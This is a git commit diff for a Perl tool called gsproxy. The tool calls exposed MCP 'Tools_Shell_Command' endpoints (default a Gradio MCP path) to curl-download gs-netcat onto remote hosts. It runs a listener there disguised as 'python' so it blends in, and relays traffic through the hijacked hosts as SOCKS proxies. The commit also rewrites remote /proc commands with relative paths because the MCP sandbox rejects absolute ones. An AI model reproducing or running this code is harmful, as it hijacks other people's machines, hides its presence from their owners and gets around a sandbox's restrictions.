fix mcp-path registration, relative remote teardown, reuse existing remote listener
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
# runtime files that carry secrets or live state
|
||||
gsproxy.csv
|
||||
gsproxy.log
|
||||
gsproxy.pid
|
||||
gsproxy.state
|
||||
gsproxy.auth
|
||||
*.auth
|
||||
.bantam.cfg
|
||||
@@ -126,14 +126,14 @@ The `--daemon` option is a negatable boolean and defaults to on. `--verbose` and
|
||||
|
||||
gsproxy has four moving parts: the remote bring-up, the local client, the monitor, and the gateway.
|
||||
|
||||
- Remote bring-up downloads a gs-netcat build with `curl`, unpacks it, and runs a gs-netcat listener with `-lSD -s SECRET`. The listening process is renamed to `python` so it blends into the host.
|
||||
- Remote bring-up first checks for a listener already running with the same secret and reuses it; only when none is found does it download a gs-netcat build with `curl`, unpack it, and run a gs-netcat listener with `-lSD -s SECRET`. The listening process is renamed to `python` so it blends into the host.
|
||||
- The local client runs `gs-netcat -D -p PORT -s SECRET`, which opens a SOCKS listener on `127.0.0.1` at the row's port.
|
||||
- The monitor performs a full SOCKS5 handshake against each local port, testing a real CONNECT to a probe host and port. A passing handshake marks the proxy alive.
|
||||
- The gateway accepts SOCKS5 connections on `--bind:--gateway-port` and relays them to the first alive proxy listed in the state file.
|
||||
|
||||
### MCP bring-up
|
||||
|
||||
The remote call is an MCP JSON-RPC exchange over HTTP. The script sends an `initialize` request, captures the `Mcp-Session-Id` header, sends the `notifications/initialized` notification, then calls `tools/call` with the name `Tools_Shell_Command`. Responses may be plain JSON or server-sent events, so the body is parsed for the last `data:` line before decoding. Requests are retried up to three times on transport failures.
|
||||
The remote call is an MCP JSON-RPC exchange over HTTP. The script sends an `initialize` request, captures the `Mcp-Session-Id` header, sends the `notifications/initialized` notification, then calls `tools/call` with the name `Tools_Shell_Command`. Responses may be plain JSON or server-sent events, so the body is parsed for the last `data:` line before decoding. Requests are retried up to three times on transport failures. Before downloading, the script probes for an existing listener with the same secret and reuses it when present, so restarts do not stack duplicate gs-netcat processes.
|
||||
|
||||
### Monitoring and state
|
||||
|
||||
@@ -147,7 +147,7 @@ Without `--gateway-auth` the gateway is a transparent relay. With `--gateway-aut
|
||||
|
||||
### Teardown
|
||||
|
||||
Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat processes that match the `-D -p PORT` shape and sends them `TERM`. Remotely it runs a shell command over MCP that scans `/proc` for processes whose environment contains `GSOCKET_ARGS=-lSD -s SECRET` and kills them.
|
||||
Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat processes that match the `-D -p PORT` shape and sends them `TERM`. Remotely it runs a shell command over MCP that scans for processes whose environment contains `GSOCKET_ARGS=-lSD -s SECRET` and kills them. The remote scan uses paths relative to the remote workdir (the default workdir `.` is the host root), so `proc/...` addresses `/proc/...`; absolute paths are avoided because the MCP sandbox rejects them.
|
||||
|
||||
## Command reference
|
||||
|
||||
|
||||
+33
-5
@@ -91,6 +91,7 @@ GetOptions(
|
||||
'test-port=i' => \$opt{test_port},
|
||||
'workdir=s' => \$opt{workdir},
|
||||
'gs-netcat=s' => \$opt{gs_netcat},
|
||||
'mcp-path=s' => \$opt{mcp_path},
|
||||
'insecure' => \$opt{insecure},
|
||||
'verbose|v' => \$opt{verbose},
|
||||
'no-mcp' => \$opt{no_mcp},
|
||||
@@ -135,6 +136,7 @@ Options:
|
||||
--test-host HOST Host probed through each SOCKS (default www.google.com)
|
||||
--test-port PORT Port probed through each SOCKS (default 443)
|
||||
--workdir DIR Remote workdir for the MCP call (default .)
|
||||
--mcp-path PATH MCP path appended to base endpoint (default /gradio_api/mcp/)
|
||||
--gs-netcat PATH gs-netcat binary (default: from PATH)
|
||||
--target-sha256 HASH Verify remote gs-netcat SHA-256 before running (64 hex)
|
||||
--log FILE Log file (default ./gsproxy.log)
|
||||
@@ -410,13 +412,35 @@ sub target_cmd {
|
||||
return $cmd;
|
||||
}
|
||||
|
||||
# Remote /proc access is expressed relative to the remote workdir because the
|
||||
# MCP sandbox rejects absolute paths. With the default workdir the remote shell
|
||||
# runs with cwd '/', so 'proc/...' resolves to /proc/... without a leading '/'.
|
||||
sub remote_scan_cmd {
|
||||
my ($secret, $action) = @_;
|
||||
my $pat = shq('GSOCKET_ARGS=-lSD -s ' . $secret);
|
||||
return 'for p in proc/[0-9]*; do '
|
||||
. 'grep -Fq -a -- ' . $pat . ' "$p/environ" 2>/dev/null && { '
|
||||
. $action
|
||||
. '; }; done; true';
|
||||
}
|
||||
|
||||
sub teardown_cmd {
|
||||
my ($secret) = @_;
|
||||
my $pat = shq('GSOCKET_ARGS=-lSD -s ' . $secret);
|
||||
return 'for p in /proc/[0-9]*; do '
|
||||
. 'grep -Fq -a -- ' . $pat . ' $p/environ 2>/dev/null && '
|
||||
. 'kill $(basename $p) 2>/dev/null; '
|
||||
. 'done; true';
|
||||
return remote_scan_cmd($secret, 'kill "${p##*/}" 2>/dev/null');
|
||||
}
|
||||
|
||||
sub reuse_check_cmd {
|
||||
my ($secret) = @_;
|
||||
return remote_scan_cmd($secret, 'echo GS_REUSED');
|
||||
}
|
||||
|
||||
# Returns true when the endpoint already runs a listener for this secret, so the
|
||||
# caller can reuse it instead of spawning a duplicate remote gs-netcat.
|
||||
sub remote_listener_alive {
|
||||
my ($e) = @_;
|
||||
my ($ok, $out) = mcp_call($e->{endpoint}, reuse_check_cmd($e->{secret}));
|
||||
return 0 unless $ok;
|
||||
return index($out, 'GS_REUSED') >= 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
sub read_proc_file {
|
||||
@@ -527,9 +551,13 @@ sub bring_up {
|
||||
my $port = $e->{port};
|
||||
logmsg(qq{bring-up $label: secret } . mask($e->{secret}) . qq{ port $port});
|
||||
if (!$opt{no_mcp}) {
|
||||
if (remote_listener_alive($e)) {
|
||||
logmsg('MCP ' . $e->{endpoint} . ': reusing existing remote gs-netcat listener');
|
||||
} else {
|
||||
my ($ok, $out) = mcp_call($e->{endpoint}, target_cmd($e->{secret}));
|
||||
logmsg('MCP ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
|
||||
}
|
||||
}
|
||||
if (!$opt{no_local}) {
|
||||
my ($ok, $msg) = start_local($e);
|
||||
logmsg('local: ' . $msg);
|
||||
|
||||
Reference in New Issue
Block a user